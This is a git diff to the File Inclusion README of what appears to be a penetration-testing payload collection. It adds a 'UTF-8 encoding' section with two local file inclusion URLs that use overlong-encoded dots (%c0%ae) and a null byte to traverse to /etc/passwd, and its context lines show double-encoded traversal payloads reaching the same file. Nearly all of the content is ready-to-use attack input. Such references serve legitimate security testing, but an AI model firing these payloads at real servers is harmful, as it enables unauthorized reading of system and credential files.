diff --git a/File Inclusion/README.md b/File Inclusion/README.md index c9049a1..fe79d7e 100644 --- a/File Inclusion/README.md +++ b/File Inclusion/README.md @@ -10,6 +10,7 @@ * [Basic LFI](#basic-lfi) * [Null byte](#null-byte) * [Double encoding](#double-encoding) + * [UTF-8 encoding](#utf-8-encoding) * [Path and dot truncation](#path-and-dot-truncation) * [Filter bypass tricks](#filter-bypass-tricks) * [Basic RFI](#basic-rfi) @@ -58,6 +59,13 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` +### UTF-8 encoding + +```powershell +http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd +http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 +``` + ### Path and dot truncation On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.